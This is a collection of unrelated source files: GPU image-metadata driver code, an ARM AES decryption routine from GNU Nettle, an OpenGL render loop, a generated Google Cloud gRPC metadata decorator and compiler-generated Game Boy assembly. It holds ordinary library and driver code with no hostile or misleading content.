// To the HW, cMask is a nibble (4-bit) quantity, but there is no 4-bit data type.
CpuProcessEq<uint8, ADDR2_COMPUTE_CMASK_INFO_OUTPUT>(this,
pCmask,
clearRange,
cMaskAddrOutput,
0, // msaa surfaces are always 2d
pCmask->GetNumEffectiveSamples(),
clearValue,
0xF); // cMask is nibble addressed, mask is only 4-bits wide
}
// =====================================================================================================================
// This function uses the CPU to process the meta-data equation for DCC memory.
void Image::CpuProcessDccEq(
const SubresRange& clearRange,
uint8 clearValue,
DccClearPurpose clearPurpose
) const
{
const auto* pDcc = GetDcc();
const auto& dccAddrOutput = pDcc->GetAddrOutput();
CpuProcessEq<uint8, ADDR2_COMPUTE_DCCINFO_OUTPUT>(this,
pDcc,
clearRange,
dccAddrOutput,
Log2(dccAddrOutput.metaBlkDepth),
pDcc->GetNumEffectiveSamples(&m_gfxDevice, clearPurpose),
clearValue,
0xFF); // keep all of clearValue, erase current data
}
// =====================================================================================================================
// This function uses the CPU to process the meta-data equation for hTile memory.
void Image::CpuProcessHtileEq(
const SubresRange& clearRange,
uint32 clearValue,
uint32 clearMask
) const
{
// The equation is only stored with the base hTile
const auto* pHtile = GetHtile();
const auto& hTileAddrOutput = pHtile->GetAddrOutput();
CpuProcessEq<uint32, ADDR2_COMPUTE_HTILE_INFO_OUTPUT>(this,
pHtile,
clearRange,
hTileAddrOutput,
0, // hTile surfaces are always 2D
pHtile->GetNumEffectiveSamples(),
clearValue,
clearMask);
}
// =====================================================================================================================
// Initializes the metadata in the given subresource range using CmdFillMemory calls.
void Image::InitMetadataFill(
Pal::CmdBuffer* pCmdBuffer,
const SubresRange& range
) const
{
PAL_ASSERT(Parent()->IsFullSubResRange(range));
const auto* pDevice = Parent()->GetDevice();
const auto& settings = GetGfx9Settings(*pDevice);
const auto& gpuMemObj = *Parent()->GetBoundGpuMemory().Memory();
// DMA has to use this path for all maskrams; other queue types have fall-backs.
const uint32 fullRangeInitMask = (pCmdBuffer->GetEngineType() == EngineTypeDma) ? UINT_MAX :
UseFillMemForFullRangeInit;
if (HasHtileData() && TestAnyFlagSet(fullRangeInitMask, Gfx9InitMetaDataFill::Gfx9InitMetaDataFillHtile))
{
const uint32 initValue = m_pHtile->GetInitialValue();
// This will initialize both the depth and stencil aspects simultaneously. They share hTile data,
// so it isn't practical to init them separately anyway
pCmdBuffer->CmdFillMemory(gpuMemObj, m_pHtile->MemoryOffset(), m_pHtile->TotalSize(), initValue);
m_pHtile->UploadEq(pCmdBuffer, Parent());
}
else if (Parent()->IsRenderTarget())
{
if (HasDccData() && TestAnyFlagSet(fullRangeInitMask, Gfx9InitMetaDataFill::Gfx9InitMetaDataFillDcc))
{
constexpr uint32 DccInitValue = (static_cast<uint32>(Gfx9Dcc::InitialValue << 24) |
static_cast<uint32>(Gfx9Dcc::InitialValue << 16) |
static_cast<uint32>(Gfx9Dcc::InitialValue << 8) |
static_cast<uint32>(Gfx9Dcc::InitialValue << 0));
pCmdBuffer->CmdFillMemory(gpuMemObj, m_pDcc->MemoryOffset(), m_pDcc->TotalSize(), DccInitValue);
m_pDcc->UploadEq(pCmdBuffer, Parent());
}
// If we have fMask then we also have cMask.
if (HasFmaskData() && TestAnyFlagSet(fullRangeInitMask, Gfx9InitMetaDataFill::Gfx9InitMetaDataFillCmask))
{
constexpr uint32 CmaskInitValue = (static_cast<uint32>(Gfx9Cmask::InitialValue << 24) |
static_cast<uint32>(Gfx9Cmask::InitialValue << 16) |
static_cast<uint32>(Gfx9Cmask::InitialValue << 8) |
static_cast<uint32>(Gfx9Cmask::InitialValue << 0));
pCmdBuffer->CmdFillMemory(gpuMemObj, m_pCmask->MemoryOffset(), m_pCmask->TotalSize(), CmaskInitValue);
m_pCmask->UploadEq(pCmdBuffer, Parent());
pCmdBuffer->CmdFillMemory(gpuMemObj,
m_pFmask->MemoryOffset(),
m_pFmask->TotalSize(),
Gfx9Fmask::GetPackedExpandedValue(*this));
}
}
if (HasFastClearMetaData())
{
// The DB Tile Summarizer requires a TC compatible clear value of stencil,
// because TC isn't aware of DB_STENCIL_CLEAR register.
// Please note the clear value of color or depth is also initialized together,
// although it might be unnecessary.
pCmdBuffer->CmdFillMemory(gpuMemObj,
FastClearMetaDataOffset(range.startSubres.mipLevel),
FastClearMetaDataSize(range.numMips),
0);
}
}
// =====================================================================================================================
ImageType Image::GetOverrideImageType() const
{
const auto* pParent = Parent();
const auto& createInfo = pParent->GetImageCreateInfo();
const auto& settings = GetGfx9Settings(m_device);
ImageType imageType = createInfo.imageType;
// You would think this would be nice and simple, but it's not. :-( The Vulkan and DX12 APIs require that
// 1D depth images work. GFX9 imposes these requirements that make that difficult:
// 1) 1D images must be linear
// 2) Depth images must be swizzled with one of the _Z modes (i.e., not linear).
//
// We're going to work around this by forcing 1D depth image requests to be 2D images. This requires SC help
// to adjust the coordinates. Since SC doesn't understand the difference between color and depth images, all
// 1D image requests need to be overriden to 2D.
if (settings.treat1dAs2d && (imageType == ImageType::Tex1d))
{
imageType = ImageType::Tex2d;
}
return imageType;
}
// =====================================================================================================================
// Returns true if the given aspect supports decompress operations on the compute queue
bool Image::SupportsComputeDecompress(
const SubresId& subresId
) const
{
const auto& layoutToState = m_layoutToState;
const uint32 engines = (m_pParent->IsDepthStencil()
? layoutToState.depthStencil[GetDepthStencilStateIndex(subresId.aspect)].compressed.engines
: layoutToState.color.compressed.engines);
return TestAnyFlagSet(engines, LayoutComputeEngine);
}
// =====================================================================================================================
// Returns the virtual address used for HW programming of the given mip. Returned value includes any pipe-bank-xor
// value associated with this aspect and does not include the mip tail offset.
gpusize Image::GetAspectBaseAddr(
ImageAspect aspect
) const
{
// On GFX9, the registers are programmed to select the proper mip level and slice, the base address *always*
// points to mip 0 / slice 0. We still have to take into account the aspect though.
const SubresId subresId = { aspect, 0, 0 };
return GetMipAddr(subresId);
}
// =====================================================================================================================
// Returns the virtual address used for HW programming of the given mip. Returned value includes any pipe-bank-xor
// value associated with this subresource id.
gpusize Image::GetMipAddr(
SubresId subresId
) const
{
const Pal::Image* pParent = Parent();
const auto* pBaseSubResInfo = pParent->SubresourceInfo(subresId);
const auto* pAddrOutput = GetAddrOutput(pBaseSubResInfo);
const auto& mipInfo = pAddrOutput->pMipInfo[subresId.mipLevel];
const GfxIpLevel gfxLevel = pParent->GetDevice()->ChipProperties().gfxLevel;
gpusize imageBaseAddr = 0;
if (gfxLevel == GfxIpLevel::GfxIp9)
{
// Making this complicated (of course, it's what we do), if mip 0 / slice 0 is part of the mip-tail, then it
// won't reside at the start of the allocation! Subtract off the mip-tail-offset to get back to where the
// aspect starts.
imageBaseAddr = pParent->GetSubresourceBaseAddr(subresId) - mipInfo.mipTailOffset;
}
else
{
// What is this?
PAL_ASSERT_ALWAYS();
}
const auto* pTileInfo = AddrMgr2::GetTileInfo(pParent, subresId);
const gpusize pipeBankXor = pTileInfo->pipeBankXor;
const gpusize addrWithXor = imageBaseAddr | (pipeBankXor << 8);
// PAL doesn't respect the high-address programming fields (i.e., they're always set to zero). Ensure that
// they're not supposed to be set. :-) If this trips, we have a big problem.
// However, when svm is enabled, The bit 39 of an image address is 1 if the address is gpuvm.
PAL_ASSERT((Get256BAddrHi(addrWithXor) & 0x7f) == 0);
return addrWithXor;
}
// =====================================================================================================================
// Returns the buffer view of metadata lookup table for specified mip level
void Image::BuildMetadataLookupTableBufferView(
BufferViewInfo* pViewInfo,
uint32 mipLevel
) const
{
pViewInfo->gpuAddr = Parent()->GetGpuVirtualAddr() + m_metaDataLookupTableOffsets[mipLevel];
pViewInfo->range = m_metaDataLookupTableSizes[mipLevel];
pViewInfo->stride = 1;
pViewInfo->swizzledFormat = UndefinedSwizzledFormat;
}
// =====================================================================================================================
// Returns true if specified mip level is in the MetaData tail region.
bool Image::IsInMetadataMipTail(
uint32 mipLevel
) const
{
bool inMipTail = false;
if (m_createInfo.mipLevels > 1)
{
if (m_pDcc != nullptr)
{
inMipTail = (m_pDcc->GetAddrMipInfo(mipLevel).inMiptail != 0);
}
else if (m_pHtile != nullptr)
{
inMipTail = (m_pHtile->GetAddrMipInfo(mipLevel).inMiptail != 0);
}
}
return inMipTail;
}
// =====================================================================================================================
// Returns true if specified mip level can support metadata
bool Image::CanMipSupportMetaData(
uint32 mip
) const
{
// If there is no restriction on meta-data usage, then this mip level is good, otherwise, check the specified
// mip level against where the mip-tail begins.
return ((m_gfxDevice.Settings().waRestrictMetaDataUseInMipTail == false) ||
(mip <= m_addrSurfOutput[0].firstMipIdInTail));
}
// =====================================================================================================================
// Function for updating the subResInfo offset to reflect each sub-resources position in the final image. On input,
// the subres offset reflects the offset of that subresource within a generic slice, but not that slice's position
// in the overall image.
void Image::Addr2InitSubResInfo(
const SubResIterator& subResIt,
SubResourceInfo* pSubResInfoList,
void* pSubResTileInfoList,
gpusize* pGpuMemSize)
{
const GfxIpLevel gfxLevel = m_device.ChipProperties().gfxLevel;
SetupAspectOffsets();
if (gfxLevel == GfxIpLevel::GfxIp9)
{
Addr2InitSubResInfoGfx9(subResIt, pSubResInfoList, pSubResTileInfoList, pGpuMemSize);
}
}
// =====================================================================================================================
// GFX9 specific version of the Addr2InitSubResInfo function
void Image::Addr2InitSubResInfoGfx9(
const SubResIterator& subResIt,
SubResourceInfo* pSubResInfoList,
void* pSubResTileInfoList,
gpusize* pGpuMemSize)
{
SubResourceInfo*const pSubRes = (pSubResInfoList + subResIt.Index());
SubResourceInfo*const pBaseSubRes = (pSubResInfoList + subResIt.BaseIndex());
TileInfo*const pTileInfo = NonConstTileInfo(pSubResTileInfoList, subResIt.Index());
TileInfo*const pBaseTileInfo = NonConstTileInfo(pSubResTileInfoList, subResIt.BaseIndex());
// Each subresource's offset is currently relative to the base mip level within its plane & array slice. The
// overall offset for each subresource must be computed.
if (pSubRes->subresId.mipLevel == 0)
{
// For the base mip level, the offset and backing-store offset need to be updated to include the total
// offset of all array slices and planes seen so far.
pSubRes->offset += *pGpuMemSize;
pTileInfo->backingStoreOffset += *pGpuMemSize;
// In AddrMgr2, each subresource's size represents the size of the full mip-chain it belongs to. By
// adding the size of mip-level zero to the running GPU memory size, we can keep a running total of
// the entire Image's size.
*pGpuMemSize += pSubRes->size;
}
else
{
// For other mip levels, the offset and backing store offset need to include the offset from the Image's
// base to the base mip level of the current array slice & plane.
// Also, need to be careful if mip 0 is in the mip tail. In this case, mipN's offset is less than mip0's.
if (pBaseTileInfo->mip0InMipTail == true)
{
const gpusize baseOffsetNoMipTail = pBaseSubRes->offset & (~pBaseTileInfo->mipTailMask);
pSubRes->offset += baseOffsetNoMipTail;
}
else
{
pSubRes->offset += pBaseSubRes->offset;
}
pTileInfo->backingStoreOffset += pBaseTileInfo->backingStoreOffset;
}
}
// =====================================================================================================================
// Fillout shared metadata information.
void Image::GetSharedMetadataInfo(
SharedMetadataInfo* pMetadataInfo
) const
{
memset(pMetadataInfo, 0, sizeof(SharedMetadataInfo));
const SubresId baseSubResId = Parent()->GetBaseSubResource();
if (m_pDcc != nullptr)
{
pMetadataInfo->dccOffset = m_pDcc->MemoryOffset();
pMetadataInfo->flags.hasEqGpuAccess = m_pDcc->HasEqGpuAccess();
}
if (m_pCmask != nullptr)
{
pMetadataInfo->cmaskOffset = m_pCmask->MemoryOffset();
pMetadataInfo->flags.hasEqGpuAccess = m_pCmask->HasEqGpuAccess();
}
if (m_pFmask != nullptr)
{
pMetadataInfo->fmaskOffset = m_pFmask->MemoryOffset();
pMetadataInfo->flags.shaderFetchableFmask = IsComprFmaskShaderReadable(baseSubResId);
pMetadataInfo->fmaskXor = m_pFmask->GetPipeBankXor();
}
if (m_pHtile != nullptr)
{
pMetadataInfo->htileOffset = m_pHtile->MemoryOffset();
pMetadataInfo->flags.hasWaTcCompatZRange = HasWaTcCompatZRangeMetaData();
pMetadataInfo->flags.hasHtileLookupTable = HasHtileLookupTable();
pMetadataInfo->flags.hasEqGpuAccess = m_pHtile->HasEqGpuAccess();
}
pMetadataInfo->flags.shaderFetchable =
Parent()->SubresourceInfo(baseSubResId)->flags.supportMetaDataTexFetch;
pMetadataInfo->dccStateMetaDataOffset = m_dccStateMetaDataOffset;
pMetadataInfo->fastClearMetaDataOffset = m_fastClearMetaDataOffset;
pMetadataInfo->fastClearEliminateMetaDataOffset = m_fastClearEliminateMetaDataOffset;
pMetadataInfo->htileLookupTableOffset = m_metaDataLookupTableOffsets[0];
}
} // Gfx9
} // Pal
|
C arm/v6/aes-decrypt-internal.asm
ifelse(<
Copyright (C) 2013 Niels Möller
This file is part of GNU Nettle.
GNU Nettle is free software: you can redistribute it and/or
modify it under the terms of either:
* the GNU Lesser General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your
option) any later version.
or
* the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
or both in parallel, as here.
GNU Nettle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received copies of the GNU General Public License and
the GNU Lesser General Public License along with this program. If
not, see http://www.gnu.org/licenses/.
>)
include_src(<arm/aes.m4>)
define(<PARAM_ROUNDS>, <r0>)
define(<PARAM_KEYS>, <r1>)
define(<TABLE>, <r2>)
define(<LENGTH>, <r3>)
C On stack: DST, SRC
define(<W0>, <r4>)
define(<W1>, <r5>)
define(<W2>, <r6>)
define(<W3>, <r7>)
define(<T0>, <r8>)
define(<COUNT>, <r10>)
define(<KEY>, <r11>)
define(<X0>, <r0>) C Overlaps PARAM_ROUNDS and PARAM_KEYS
define(<X1>, <r1>)
define(<X2>, <r12>)
define(<X3>, <r14>) C lr
define(<FRAME_ROUNDS>>, <[sp]>)
define(<FRAME_KEYS>, <[sp, #+4]>)
C 8 saved registers
define(<FRAME_DST>, <[sp, #+40]>)
define(<FRAME_SRC>, <[sp, #+44]>)
define(<SRC>, <%r12>) C Overlap registers used in inner loop.
define(<DST>, <COUNT>)
C AES_DECRYPT_ROUND(x0,x1,x2,x3,w0,w1,w2,w3,key)
define(<AES_DECRYPT_ROUND>, <
uxtb T0, $1
ldr $5, [TABLE, T0, lsl #2]
uxtb T0, $2
ldr $6, [TABLE, T0, lsl #2]
uxtb T0, $3
ldr $7, [TABLE, T0, lsl #2]
uxtb T0, $4
ldr $8, [TABLE, T0, lsl #2]
uxtb T0, $4, ror #8
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0, lsl #2]
eor $5, $5, T0
uxtb T0, $1, ror #8
ldr T0, [TABLE, T0, lsl #2]
eor $6, $6, T0
uxtb T0, $2, ror #8
ldr T0, [TABLE, T0, lsl #2]
eor $7, $7, T0
uxtb T0, $3, ror #8
ldr T0, [TABLE, T0, lsl #2]
eor $8, $8, T0
uxtb T0, $3, ror #16
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0, lsl #2]
eor $5, $5, T0
uxtb T0, $4, ror #16
ldr T0, [TABLE, T0, lsl #2]
eor $6, $6, T0
uxtb T0, $1, ror #16
ldr T0, [TABLE, T0, lsl #2]
eor $7, $7, T0
uxtb T0, $2, ror #16
ldr T0, [TABLE, T0, lsl #2]
eor $8, $8, T0
uxtb T0, $2, ror #24
add TABLE, TABLE, #1024
ldr T0, [TABLE, T0, lsl #2]
eor $5, $5, T0
uxtb T0, $3, ror #24
ldr T0, [TABLE, T0, lsl #2]
eor $6, $6, T0
uxtb T0, $4, ror #24
ldr T0, [TABLE, T0, lsl #2]
eor $7, $7, T0
uxtb T0, $1, ror #24
ldr T0, [TABLE, T0, lsl #2]
ldm $9!, {$1,$2,$3,$4}
eor $8, $8, T0
sub TABLE, TABLE, #3072
eor $5, $5, $1
eor $6, $6, $2
eor $7, $7, $3
eor $8, $8, $4
>)
.file "aes-decrypt-internal.asm"
C _aes_decrypt(unsigned rounds, const uint32_t *keys,
C const struct aes_table *T,
C size_t length, uint8_t *dst,
C uint8_t *src)
.text
ALIGN(4)
PROLOGUE(_nettle_aes_decrypt)
teq LENGTH, #0
beq .Lend
ldr SRC, [sp, #+4]
push {r0,r1, r4,r5,r6,r7,r8,r10,r11,lr}
ALIGN(16)
.Lblock_loop:
ldm sp, {COUNT, KEY}
add TABLE, TABLE, #AES_TABLE0
AES_LOAD(SRC,KEY,W0)
AES_LOAD(SRC,KEY,W1)
AES_LOAD(SRC,KEY,W2)
AES_LOAD(SRC,KEY,W3)
str SRC, FRAME_SRC
b .Lentry
ALIGN(16)
.Lround_loop:
C Transform X -> W
AES_DECRYPT_ROUND(X0, X1, X2, X3, W0, W1, W2, W3, KEY)
.Lentry:
subs COUNT, COUNT,#2
C Transform W -> X
AES_DECRYPT_ROUND(W0, W1, W2, W3, X0, X1, X2, X3, KEY)
bne .Lround_loop
sub TABLE, TABLE, #AES_TABLE0
C Final round
ldr DST, FRAME_DST
AES_FINAL_ROUND_V6(X0, X3, X2, X1, KEY, W0)
AES_FINAL_ROUND_V6(X1, X0, X3, X2, KEY, W1)
AES_FINAL_ROUND_V6(X2, X1, X0, X3, KEY, W2)
AES_FINAL_ROUND_V6(X3, X2, X1, X0, KEY, W3)
ldr SRC, FRAME_SRC
AES_STORE(DST,W0)
AES_STORE(DST,W1)
AES_STORE(DST,W2)
AES_STORE(DST,W3)
str DST, FRAME_DST
subs LENGTH, LENGTH, #16
bhi .Lblock_loop
add sp, sp, #8 C Drop saved r0, r1
pop {r4,r5,r6,r7,r8,r10,r11,pc}
.Lend:
bx lr
EPILOGUE(_nettle_aes_decrypt)
|
#include <glm/gtc/matrix_transform.hpp>
#include <glm/gtc/type_ptr.hpp>
#include <CBGL/COpenGL.h>
#include <CBGL/State.h>
#include "GUIRenderContext.h"
#include "gfx_MeshVertex.h"
#include "gfx_Mesh.h"
#include "gfx_Texture.h"
#include "gfx_Frame.h"
#include "gfx_FrameElement.h"
#include "gfx_RenderSystem.h"
namespace gfx {
void RenderSystem::render(const Frame& frame) {
auto proj = frame.getProjectionMatrix();
glMatrixMode(GL_PROJECTION);
glLoadMatrixf(glm::value_ptr(proj));
glMatrixMode(GL_MODELVIEW);
glEnableClientState(GL_VERTEX_ARRAY);
glEnableClientState(GL_NORMAL_ARRAY);
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
for (auto element : frame.elements) {
auto mesh = getBufferedMesh(*element.mesh);
glLoadMatrixf(glm::value_ptr(element.modelview));
if (element.material->getTexture()) {
element.material->getTexture()->Activate();
}
auto vbind = cb::gl::bind(mesh->getVertexBuffer());
glVertexPointer(3, GL_FLOAT, sizeof(MeshVertex), nullptr);
glNormalPointer(GL_FLOAT, sizeof(MeshVertex), reinterpret_cast<const void*>(sizeof(glm::vec3)));
glTexCoordPointer(2, GL_FLOAT, sizeof(MeshVertex), reinterpret_cast<const void*>(2 * sizeof(glm::vec3)));
auto ibind = cb::gl::bind(mesh->getIndexBuffer());
cb::gl::drawElements(cb::gl::PrimitiveType::TRIANGLES, static_cast<unsigned>(mesh->getNumberOfIndices()));
}
glDisableClientState(GL_VERTEX_ARRAY);
glDisableClientState(GL_NORMAL_ARRAY);
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
}
void RenderSystem::render(const gui::RenderContext& ctx) {
auto state = cb::gl::getBlendState();
state.enabled = true;
state.setFunc(cb::gl::BlendFactor::SRC_ALPHA, cb::gl::BlendFactor::ONE_MINUS_SRC_ALPHA);
cb::gl::setState(state);
glMatrixMode(GL_PROJECTION);
glLoadMatrixf(glm::value_ptr(ctx.getProjectionMatrix()));
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
ctx.render();
}
RenderSystem::meshptr_t RenderSystem::getBufferedMesh(const Mesh& mesh) {
auto it = bufferedMeshes.find(mesh.getId());
if (it != bufferedMeshes.end())
return it->second;
auto bufferedMesh = std::make_shared<BufferedMesh>(mesh);
bufferedMeshes[mesh.getId()] = bufferedMesh;
return bufferedMesh;
}
} |
// Copyright 2022 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated by the Codegen C++ plugin.
// If you make any local changes, they will be lost.
// source: google/cloud/clouddms/v1/clouddms.proto
#include "google/cloud/datamigration/internal/data_migration_metadata_decorator.h"
#include "google/cloud/internal/api_client_header.h"
#include "google/cloud/status_or.h"
#include <google/cloud/clouddms/v1/clouddms.grpc.pb.h>
#include <memory>
namespace google {
namespace cloud {
namespace datamigration_internal {
GOOGLE_CLOUD_CPP_INLINE_NAMESPACE_BEGIN
DataMigrationServiceMetadata::DataMigrationServiceMetadata(
std::shared_ptr<DataMigrationServiceStub> child)
: child_(std::move(child)),
api_client_header_(
google::cloud::internal::ApiClientHeader("generator")) {}
StatusOr<google::cloud::clouddms::v1::ListMigrationJobsResponse>
DataMigrationServiceMetadata::ListMigrationJobs(
grpc::ClientContext& context,
google::cloud::clouddms::v1::ListMigrationJobsRequest const& request) {
SetMetadata(context, "parent=" + request.parent());
return child_->ListMigrationJobs(context, request);
}
StatusOr<google::cloud::clouddms::v1::MigrationJob>
DataMigrationServiceMetadata::GetMigrationJob(
grpc::ClientContext& context,
google::cloud::clouddms::v1::GetMigrationJobRequest const& request) {
SetMetadata(context, "name=" + request.name());
return child_->GetMigrationJob(context, request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncCreateMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::CreateMigrationJobRequest const& request) {
SetMetadata(*context, "parent=" + request.parent());
return child_->AsyncCreateMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncUpdateMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::UpdateMigrationJobRequest const& request) {
SetMetadata(*context, "migration_job.name=" + request.migration_job().name());
return child_->AsyncUpdateMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncDeleteMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::DeleteMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncDeleteMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncStartMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::StartMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncStartMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncStopMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::StopMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncStopMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncResumeMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::ResumeMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncResumeMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncPromoteMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::PromoteMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncPromoteMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncVerifyMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::VerifyMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncVerifyMigrationJob(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncRestartMigrationJob(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::RestartMigrationJobRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncRestartMigrationJob(cq, std::move(context), request);
}
StatusOr<google::cloud::clouddms::v1::SshScript>
DataMigrationServiceMetadata::GenerateSshScript(
grpc::ClientContext& context,
google::cloud::clouddms::v1::GenerateSshScriptRequest const& request) {
SetMetadata(context, "migration_job=" + request.migration_job());
return child_->GenerateSshScript(context, request);
}
StatusOr<google::cloud::clouddms::v1::ListConnectionProfilesResponse>
DataMigrationServiceMetadata::ListConnectionProfiles(
grpc::ClientContext& context,
google::cloud::clouddms::v1::ListConnectionProfilesRequest const& request) {
SetMetadata(context, "parent=" + request.parent());
return child_->ListConnectionProfiles(context, request);
}
StatusOr<google::cloud::clouddms::v1::ConnectionProfile>
DataMigrationServiceMetadata::GetConnectionProfile(
grpc::ClientContext& context,
google::cloud::clouddms::v1::GetConnectionProfileRequest const& request) {
SetMetadata(context, "name=" + request.name());
return child_->GetConnectionProfile(context, request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncCreateConnectionProfile(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::CreateConnectionProfileRequest const&
request) {
SetMetadata(*context, "parent=" + request.parent());
return child_->AsyncCreateConnectionProfile(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncUpdateConnectionProfile(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::UpdateConnectionProfileRequest const&
request) {
SetMetadata(*context,
"connection_profile.name=" + request.connection_profile().name());
return child_->AsyncUpdateConnectionProfile(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncDeleteConnectionProfile(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::cloud::clouddms::v1::DeleteConnectionProfileRequest const&
request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncDeleteConnectionProfile(cq, std::move(context), request);
}
future<StatusOr<google::longrunning::Operation>>
DataMigrationServiceMetadata::AsyncGetOperation(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::longrunning::GetOperationRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncGetOperation(cq, std::move(context), request);
}
future<Status> DataMigrationServiceMetadata::AsyncCancelOperation(
google::cloud::CompletionQueue& cq,
std::unique_ptr<grpc::ClientContext> context,
google::longrunning::CancelOperationRequest const& request) {
SetMetadata(*context, "name=" + request.name());
return child_->AsyncCancelOperation(cq, std::move(context), request);
}
void DataMigrationServiceMetadata::SetMetadata(
grpc::ClientContext& context, std::string const& request_params) {
context.AddMetadata("x-goog-request-params", request_params);
SetMetadata(context);
}
void DataMigrationServiceMetadata::SetMetadata(grpc::ClientContext& context) {
context.AddMetadata("x-goog-api-client", api_client_header_);
}
GOOGLE_CLOUD_CPP_INLINE_NAMESPACE_END
} // namespace datamigration_internal
} // namespace cloud
} // namespace google
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.0.0 #11528 (MINGW64)
;--------------------------------------------------------
; MODULE 02_const
.optsdcc -mgbz80
; Generated using the rgbds tokens.
; We have to define these here as sdcc doesn't make them global by default
GLOBAL __mulschar
GLOBAL __muluchar
GLOBAL __mulint
GLOBAL __divschar
GLOBAL __divuchar
GLOBAL __divsint
GLOBAL __divuint
GLOBAL __modschar
GLOBAL __moduchar
GLOBAL __modsint
GLOBAL __moduint
GLOBAL __mullong
GLOBAL __modslong
GLOBAL __divslong
GLOBAL banked_call
GLOBAL banked_ret
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
GLOBAL _variable
GLOBAL _global_i
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
SECTION "src/02-const.c_DATA",BSS
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
SECTION "DABS (ABS)",CODE
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
SECTION "HOME",CODE
SECTION "GSINIT",CODE
SECTION "GSFINAL",CODE
SECTION "GSINIT",CODE
;--------------------------------------------------------
; Home
;--------------------------------------------------------
SECTION "src/02-const.c_HOME",HOME
SECTION "src/02-const.c_HOME",HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
SECTION "src/02-const.c_CODE",CODE
;src/02-const.c:3: void variable(void)
; ---------------------------------
; Function variable
; ---------------------------------
_variable::
dec sp
;src/02-const.c:5: volatile unsigned char local_j = 123;
ld hl, [sp+0]
ld [hl], $7B
;src/02-const.c:7: ++local_j;
inc [hl]
;src/02-const.c:9: local_j = global_i;
ld hl, _global_i
ld c, [hl]
ld hl, [sp+0]
ld [hl], c
;src/02-const.c:11: local_j += 1;
ld a, [hl]
inc a
ld [hl], a
;src/02-const.c:13: local_j = global_i;
ld [hl], c
;src/02-const.c:15: return;
.l00101:
;src/02-const.c:16: }
inc sp
ret
_global_i:
DB $05 ; 5
SECTION "src/02-const.c_CODE",CODE
SECTION "CABS (ABS)",CODE
|
extern m7_ippsGFpECSignNR:function
